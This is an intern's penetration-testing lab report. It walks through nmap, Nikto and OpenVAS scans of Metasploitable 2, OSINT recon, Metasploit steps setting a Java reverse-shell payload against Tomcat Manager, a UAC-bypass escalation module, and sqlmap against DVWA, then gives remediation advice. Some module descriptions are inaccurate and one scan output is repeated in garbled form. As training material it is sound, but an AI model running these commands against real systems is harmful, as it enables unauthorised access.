



Prepared By: Pooja Thakor

Role: Cyber security VAPT Intern

Organization: Cy Art

Practical Application – Explanation

Vulnerability Scanning Lab

Objective

Find security vulnerabilities in a system.

Tools

- Nmap
- OpenVAS
- Nikto

Scan a vulnerable machine like Metasploitable 2

Command

- `nmap -sV 192.168.61.161(Metasploitable2)`

Explanation:

- **-sV** - detect service versions
- **192.168.61.161** metasploitable2 machine



```
kali@kali: ~  
$ nmap -sV 192.168.61.161  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-06 05:57 EST  
Nmap scan report for 192.168.61.161  
Host is up (0.0011s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
52/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  tcpwrapped  
1099/tcp  open  java-rmi     GNU Classpath gmrregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 00:0C:29:BE:ED:FE (VMware)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 19.30 seconds  
  
kali@kali)~$
```

Run Nikto Scan

Nikto scans **web server vulnerabilities**.

Command:

- `nikto -h 192.168.61.161`

Finding: Outdated Apache Web Server

Host: 192.168.61.161

Description:

The server is running **Apache 2.2.8**, which is outdated and contains known security vulnerabilities.

Risk:

Attackers may exploit known Apache vulnerabilities to gain unauthorized access.

Remediation:

Upgrade Apache to the latest stable version (Apache 2.4+).



```
kali@kali:~$ nikto -h 192.168.61.161
- Nikto v2.5.0

+ Target IP: 192.168.61.161
+ Target Hostname: 192.168.61.161
+ Target Port: 80
+ Start Time: 2026-03-06 06:45:57 (GMT-5)

+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active, which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ /b/PHPBB5F2AB-3C92-11d3-A3A9-4C7B8C000000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /b/PHPF568F36-D428-11d2-A769-08AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /b/PHPF568F34-D428-11d2-A769-08AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /b/PHPF568F35-D428-11d2-A769-08AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec 9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ /wp-config.php: #wp-config.php# file found. This file contains the credentials.
+ 8919 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time: 2026-03-06 06:46:13 (GMT-5) (16 seconds)

+ 1 host(s) tested
(kali@kali:~)
```

Nikto Scan Result:

The scan identified multiple vulnerabilities including **outdated Apache server**, **exposed phpinfo page**, **directory indexing**, **missing security headers**, **HTTP TRACE method enabled**, and **accessible phpMyAdmin directory**, which may allow attackers to gain sensitive information or exploit the system.

Run OpenVAS Scan

- Open the browser in Kali.
- Go to: <https://127.0.0.1:9392>
- Login with your OpenVAS credentials.

Steps:

- 1 Create Target
Add IP: 192.168.61.161



```
kali@kali: ~  
└─$ nikto -h 192.168.61.161  
- Nikto v2.5.0  
  
+ Target IP: 192.168.61.161  
+ Target Hostname: 192.168.61.161  
+ Target Port: 80  
+ Start Time: 2026-03-06 06:45:57 (GMT-5)  
  
+ Server: Apache/2.2.8 (Ubuntu) DAV/2  
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.  
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options  
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type  
+ See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/  
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.  
+ /index: Uncommon header 'tcn' found, with contents: list.  
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275  
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.  
+ /: HTTP TRACE method is active which suggests the host is vulnerable to AST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing  
+ /phpinfo.php: Output from the phpinfo() function was found.  
+ /doc/: Directory indexing found.  
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678  
+ /h/PHPB8852A0-3C92-11d3-A3A9-4C78B8C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. 5  
ee: OSVDB-12184  
+ /h/PHP9568F36-0428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. 5  
ee: OSVDB-12184  
+ /h/PHP9568F34-0428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. 5  
ee: OSVDB-12184  
+ /h/PHP9568F35-0428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. 5  
ee: OSVDB-12184  
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.  
+ /phpMyAdmin/changelog: Server may leak inodes via ETags, header found with file /phpMyAdmin/changelog, inode: 92462, size: 48540, mtime: Tue Dec 9 12:24:00 2008. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418  
+ /phpMyAdmin/changelog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.  
+ /test/: Directory indexing found.  
+ /test/: This might be interesting.  
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. See: CWE-552  
+ /icons/: Directory indexing found.  
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/  
+ /phpMyAdmin/: phpMyAdmin directory found.  
+ /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.  
+ /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/  
+ /wp-config.php: #wp-config.php# file found. This file contains the credentials.  
+ 8918 requests: 0 error(s) and 28 item(s) reported on remote host  
+ End Time: 2026-03-06 06:46:13 (GMT-5) (16 seconds)  
  
+ 1 host(s) tested  
[kali@kali: ~]
```

Create Task

Select scan configuration:

Full and Fast

3 Start Scan

Wait for scan completion.

Example vulnerabilities:

- Weak SSL configuration
- Outdated Apache
- Open SMB port



Reconnaissance Practice Report

Introduction

Reconnaissance (Recon) is the **first phase of penetration testing and vulnerability assessment**. In this stage, the tester collects information about the target system, organization, or network. The purpose is to identify **domains, subdomains, IP addresses, technologies, and exposed services** without directly attacking the system.

Reconnaissance is usually performed using **OSINT (Open Source Intelligence)** techniques, meaning the information is gathered from publicly available sources such as search engines, public databases, and scanning platforms.

The goal of reconnaissance is to **map the target's digital footprint** and identify potential attack surfaces that could be used in later stages of penetration testing.

Tools Used

Maltego

Maltego is an OSINT and link-analysis tool used to gather and visualize relationships between domains, IP addresses, email addresses, and other digital assets.

Features:

- Graphical visualization of relationships
- Domain and DNS enumeration
- Infrastructure mapping
- Data gathering from public sources

Example Use:

- Discover subdomains related to the target domain
- Identify associated IP addresses
- Map connections between servers and domains



Shodan

Shodan is a search engine used to find devices connected to the internet such as servers, routers, webcams, and IoT devices.

Features:

- Search exposed devices
- Identify open ports
- Detect running services
- Identify vulnerable systems

Example Use:

- Searching for open ports like SSH, FTP, HTTP
- Identifying exposed services running on a server

Example Query:

- port:22 country:IN

This query shows devices in India with **SSH port (22) open**.

Google Docs

Google Docs is used to **document reconnaissance findings** and maintain a structured record of all activities performed during the investigation.

Purpose:

- Record discovered assets
- Maintain timestamps
- Document tools used
- Create a professional penetration testing report

Reconnaissance Tasks

Performing OSINT

OSINT (Open Source Intelligence) is the process of collecting information from publicly available sources.

Information collected may include:

- Domain details
- Subdomains
- IP addresses



- Server technologies
- Exposed services
- DNS records

Example OSINT sources:

- WHOIS databases
- Search engines
- Public security databases
- Certificate transparency logs

Recon Template (Documentation Structure)

All findings should be documented in **Google Docs** using the following structure.

Domain Information

Domain information includes details about the target domain such as:

- Domain Name
- Registrar
- Registration Date
- Expiry Date
- Name Servers
- Organization Details

Example:

The screenshot displays two side-by-side web interfaces. The left interface, titled 'Domain Information', shows details for the domain AMAZON.COM, including its registry ID, registration and expiration dates, and a list of name servers. The right interface is a domain marketplace showing 'Take a look at these alternate options' with a list of domains like amazoncloud.today, amazonpro.today, amazonnetwork.biz, amazoncenter.biz, and itsamazon.com, each with a price and a 'Contact Us' button.

Domain Information	
Name	AMAZON.COM
Registry Domain ID	281209_DOMAIN_COM-VRSN
Registered On	1994-11-01T05:00:00Z
Expires On	2026-10-31T04:00:00Z
Updated On	2025-07-31T17:49:56Z
Domain Status	client delete prohibited client transfer prohibited client update prohibited server delete prohibited server transfer prohibited server update prohibited
Name Servers	NS1.AMZNDNS.CO.UK NS1.AMZNDNS.COM NS1.AMZNDNS.NET NS1.AMZNDNS.ORG NS2.AMZNDNS.CO.UK NS2.AMZNDNS.COM NS2.AMZNDNS.NET NS2.AMZNDNS.ORG

Take a look at these alternate options	
amazoncloud.today	₹ 366.06 ₹ 4,035.78 for first year
amazonpro.today	₹ 366.06 ₹ 4,035.78 for first year
amazonnetwork.biz	₹ 1,109.00 ₹ 2,699.00 for first year
amazoncenter.biz	₹ 1,109.00 ₹ 2,699.00 for first year
itsamazon.com	₹ 4,15,833.33 ₹ 1,599.00/yr



The screenshot shows a domain registration interface. On the left, there are three expandable sections: 'Registrant Contact' (with fields for Name, Organization, Phone, Fax, Email, and Mailing Address), 'Registrar Information' (showing MarkMonitor Inc. as the registrar), and 'DNSSEC Information' (showing 'Unsigned'). On the right, a section titled 'Take a look at these alternate options' lists several domains with their prices: amazoncloud.today (₹ 366.06), amazonpro.today (₹ 366.06), amazonnetwork.biz (₹ 1,109.00), amazoncenter.biz (₹ 1,109.00), and itsamazon.com (₹ 4,15,833.33). Each domain has a 'Add to Cart' button. A 'Contact Us' button is located at the bottom right.

Subdomain Enumeration

Subdomains are additional domains connected to the main domain.

Examples:

- dev.example.com
- mail.example.com
- api.example.com

Subdomains often expose **development environments, admin panels, or APIs**, which may contain vulnerabilities.

Tool used:

- Sublist3r

Example command in Kali Linux:

- sublist3r -d example.com

Output Example:

- dev.example.com
- mail.example.com
- blog.example.com

Exposed Services

Exposed services are network services that are publicly accessible on the internet.



Example services:

Port	Service
22	SSH
80	HTTP
443	HTTPS
21	FTP

Using Shodan, we can identify if these services are exposed.

Example:

This indicates that the **FTP service is accessible from the internet**, which may be vulnerable if misconfigured.

Asset Mapping

Asset mapping helps identify and track the digital assets related to the target.

All reconnaissance steps should be logged with timestamps to maintain proper documentation.

Example Log:

Timestamp	Tool	Finding
2026-03-02T13:42:48.103443	Shodan	Exposed FTP on 195.228.182.128

This log shows:



- When the scan was performed
- Which tool was used
- What information was discovered

Reconnaissance Checklist

Before finishing the reconnaissance phase, ensure the following tasks are completed.

WHOIS Lookup

Used to gather domain registration details such as owner, registrar, and DNS information.

Subdomain Enumeration

Identify subdomains using tools like Sublist3r.

Technology Identification

To identify the technologies used by a website such as:

- Web server
- Programming language
- CMS
- Framework

Tool used:

- Wappalyzer

Example result:

Website: example.com

Technology Stack:

- Apache Server
- PHP
- WordPress

This information helps attackers or testers understand **possible vulnerabilities in specific technologies**.



Reconnaissance Summary

Reconnaissance was conducted using OSINT techniques to gather publicly available information about the target system. Tools such as Maltego, Shodan, and Sublist3r were used to identify domain information, subdomains, and exposed services. The collected data helped map the target's digital assets and identify potential security risks.

Exploitation Lab Report

Introduction

Exploitation is the phase in penetration testing where the security tester attempts to **take advantage of discovered vulnerabilities** to gain unauthorized access to a system or execute malicious actions. The main goal of exploitation is to verify whether the identified vulnerabilities can actually be exploited and determine their potential impact.

During this lab, exploitation was simulated in a controlled testing environment using vulnerable machines such as **Metasploitable 2**. The attacks were performed from **Kali Linux** using different penetration testing tools.

The exploitation process helps security professionals understand the **real-world risk of vulnerabilities** and allows organizations to implement proper security measures.

Tools Used

Metasploit Framework

Metasploit Framework is a widely used penetration testing framework that allows security professionals to develop, test, and execute exploits against vulnerable systems.

Key Features:



- Large database of exploits
- Payload generation
- Post-exploitation tools
- Automated exploitation

In this lab, Metasploit was used to exploit a vulnerable **Apache Tomcat Manager interface** running on the target machine.

Burp Suite

Burp Suite is a web security testing tool used to analysis and manipulate HTTP/HTTPS requests between the client and server.

Features:

- Intercept HTTP requests
- Modify request parameters
- Identify web vulnerabilities
- Test authentication mechanisms

Burp Suite can be used to detect vulnerabilities such as:

- SQL Injection
- Cross-Site Scripting (XSS)
- Broken authentication

sqlmap

sqlmap is an open-source penetration testing tool used to detect and exploit SQL injection vulnerabilities in web applications.

Capabilities:

- Automatic database detection
- Database enumeration
- Data extraction



- Password hash dumping

Example command used in testing:

- `sqlmap -u "http://target-site.com/page.php?id=1" --dbs`

This command checks whether the URL parameter is vulnerable to **SQL injection**.

Exploit Simulation

In this lab, a simulated exploit was performed against the vulnerable **Tomcat Manager application** running on the Metasploitable2 machine.

The exploit used was:

- `exploit/multi/http/tomcat_mgr_login`

This exploit attempts to gain access to the **Tomcat Manager interface** using weak credentials and deploys a malicious payload that allows remote command execution.

Steps Performed

1. Launch Metasploit Framework
 - `msfconsole`
2. Search for the Tomcat exploit
 - `search tomcat_mgr_login`
3. Select the exploit module
 - `use exploit/multi/http/tomcat_mgr_login`
4. Set the target IP address
 - `set RHOSTS 192.168.1.100`
5. Set the payload
 - `set PAYLOAD java/shell_reverse_tcp`



6. Run the exploit

- exploit

If the exploit is successful, the attacker obtains **remote shell access** to the target system.

Exploit Logging

All exploitation attempts must be documented properly.

Exploit ID	Description	Target IP	Status	Payload
003	Tomcat Remote Code Execution	192.168.1.100	Success	Java Shell

Explanation:

Exploit ID - Unique identifier for the exploit attempt.

Description - Type of vulnerability exploited.

Target IP - IP address of the vulnerable machine.

Status - Whether the exploit was successful or failed.

Payload - Type of payload used during exploitation.

Exploit Validation

After performing the exploit, it is important to verify whether the vulnerability is real and documented.

One of the most reliable vulnerability databases is:

Exploit Database

Exploit-DB provides:

- Public proof-of-concept exploits
- Vulnerability details
- CVE references
- Exploit code



Security testers use Exploit-DB to confirm:

- Whether the vulnerability exists
- Whether public exploit code is available
- The severity of the vulnerability

Exploitation Impact

Successful exploitation demonstrates that the attacker can:

- Execute commands on the target system
- Gain unauthorized system access
- Upload malicious files
- Potentially escalate privileges

If such vulnerabilities exist in a real environment, attackers could compromise the entire server.

Exploitation Summary

The exploitation phase was performed using Metasploit to exploit a vulnerable Tomcat Manager service running on the Metasploitable2 machine. The exploit successfully provided remote shell access using a Java payload. Validation was performed using Exploit-DB to confirm the vulnerability and understand its proof-of-concept exploit details.

Post-Exploitation Practice Report

Introduction

Post-exploitation is the phase that occurs **after successful exploitation of a system**. In this stage, the penetration tester evaluates how much access an attacker could gain and what sensitive information could be accessed.

The goal of post-exploitation is to:

- Escalate privileges



- Maintain access
- Collect system evidence
- Assess the potential impact of the attack

In this lab, post-exploitation techniques were performed using tools such as **Meterpreter**, **Volatility**, and hashing utilities like **sha256sum**.

Tools Used

Meterpreter

Meterpreter is a powerful payload within the **Metasploit Framework** that provides advanced control over the compromised system.

Capabilities include:

- File system access
- Command execution
- Screenshot capture
- Credential extraction
- Privilege escalation

Example command:

- meterpreter > sysinfo

This command displays system information about the compromised machine.

Volatility

Volatility is a memory forensics framework used to analyze **RAM dumps** and detect malicious activities.

Features include:

- Process analysis
- Network connection analysis



- Malware detection
- Memory artifact extraction

Security analysts often use Volatility during **incident response investigations**.

sha256sum

The **sha256sum** utility generates a **SHA-256 cryptographic hash** for files. This hash value ensures file integrity and is commonly used in digital forensics to verify that evidence has not been altered.

Example command:

- `sha256sum target.conf`

Output example:

- `a3f5c89c... target.conf`

Privilege Escalation

Privilege escalation occurs when an attacker gains **higher permissions on a compromised system**, such as moving from a standard user account to administrator or root privileges.

In this lab, privilege escalation was simulated using the Metasploit module:

- `exploit/windows/local/bypassuac`

UAC (User Account Control) bypass techniques allow attackers to **execute commands with elevated privileges without triggering security prompts**.

Steps Performed

- Obtain Meterpreter session.
- Run the privilege escalation module.
- Verify elevated privileges.

Example command:



- use exploit/windows/local/bypassuac
- set SESSION 1
- exploit

If successful, the attacker gains **administrative access** to the target machine.

All command outputs and session logs were saved for documentation.

Evidence Collection

During post-exploitation, security testers collect digital evidence to demonstrate the impact of the attack.

Example evidence log:

Item	Description	Collected By	Date	Hash Value
Config File	target.conf	VAPT Analyst	2025-08-18	<SHA256>

The SHA-256 hash ensures that the evidence file **remains unchanged during analysis**.

Evidence collection is an important part of **digital forensics and security investigations**.

Capstone Project: Full VAPT Cycle

Introduction

The Capstone Project simulates a **complete Vulnerability Assessment and Penetration Testing (VAPT) cycle**. This includes reconnaissance, vulnerability scanning, exploitation, post-exploitation, detection, remediation, and reporting.

The testing environment consisted of vulnerable web applications and virtual machines running in a controlled lab environment using **Kali Linux**.

Tools Used



Tools used in the full VAPT simulation include:

- Kali Linux
- Metasploit Framework
- OpenVAS
- sqlmap
- Google Docs

Exploitation Simulation

A SQL Injection attack was simulated against the vulnerable web application **Damn Vulnerable Web Application (DVWA)**.

DVWA is intentionally designed with vulnerabilities for security testing practice.

The automated SQL injection tool **sqlmap** was used.

Example command:

- `sqlmap -u "http://target/dvwa/vulnerable.php?id=1" --dbs`

The tool identified a vulnerable parameter and successfully enumerated the database structure.

This confirmed the presence of a **SQL injection vulnerability**.

Vulnerability Detection

Vulnerability scanning was performed using **OpenVAS** to detect security issues in the target system.

Example log:

Timestamp	Target IP	Vulnerability	PTES Phase
2025-08-18 12:00:00	192.168.1.200	Cross-Site Scripting (XSS)	Exploitation



This log shows that the web application contains an **XSS vulnerability**, which could allow attackers to execute malicious scripts in users' browsers.

Remediation Recommendations

After identifying vulnerabilities, security testers must suggest mitigation strategies.

Example remediation steps include:

- Implement **input validation and sanitization**
- Use prepared statements to prevent SQL injection
- Implement **Web Application Firewalls (WAF)**
- Regularly update software and patches
- Perform periodic vulnerability scans

After applying these fixes, the system should be **rescanned** to confirm that the vulnerability has been removed.

PTES Report

The Vulnerability Assessment and Penetration Testing (VAPT) cycle was conducted to identify and evaluate security weaknesses within the target environment. The assessment began with reconnaissance to gather publicly available information about the system. This phase helped identify potential assets and services exposed to the internet.

Following reconnaissance, vulnerability scanning was performed using automated tools to detect known security weaknesses. Several vulnerabilities were identified, including SQL injection and cross-site scripting (XSS). These vulnerabilities were further analyzed during the exploitation phase.

Using sqlmap, a SQL injection vulnerability was successfully exploited in the Damn Vulnerable Web Application (DVWA). The attack allowed database enumeration, demonstrating that sensitive information could potentially be extracted by an



attacker. Additionally, OpenVAS scanning revealed web application vulnerabilities that could allow attackers to inject malicious scripts into web pages.

During post-exploitation, system access was evaluated to understand the potential impact of the attack. Evidence was collected and verified using SHA-256 hashing to ensure data integrity.

Based on the findings, several remediation strategies were recommended, including input validation, secure coding practices, and regular vulnerability scanning. Implementing these security controls will significantly reduce the risk of exploitation and improve the overall security posture of the system.

Non-Technical Summary

A security assessment was performed to evaluate the safety of the target system and identify potential vulnerabilities. The testing process included scanning the system for weaknesses and simulating attacks to determine whether these vulnerabilities could be exploited. During testing, issues such as SQL injection and cross-site scripting were discovered in the web application.

These vulnerabilities could allow attackers to access sensitive information or execute malicious code if left unaddressed. To improve security, recommendations such as proper input validation, secure coding practices, and regular security scans were provided. Implementing these measures will help protect the system from potential cyber attacks and improve overall security.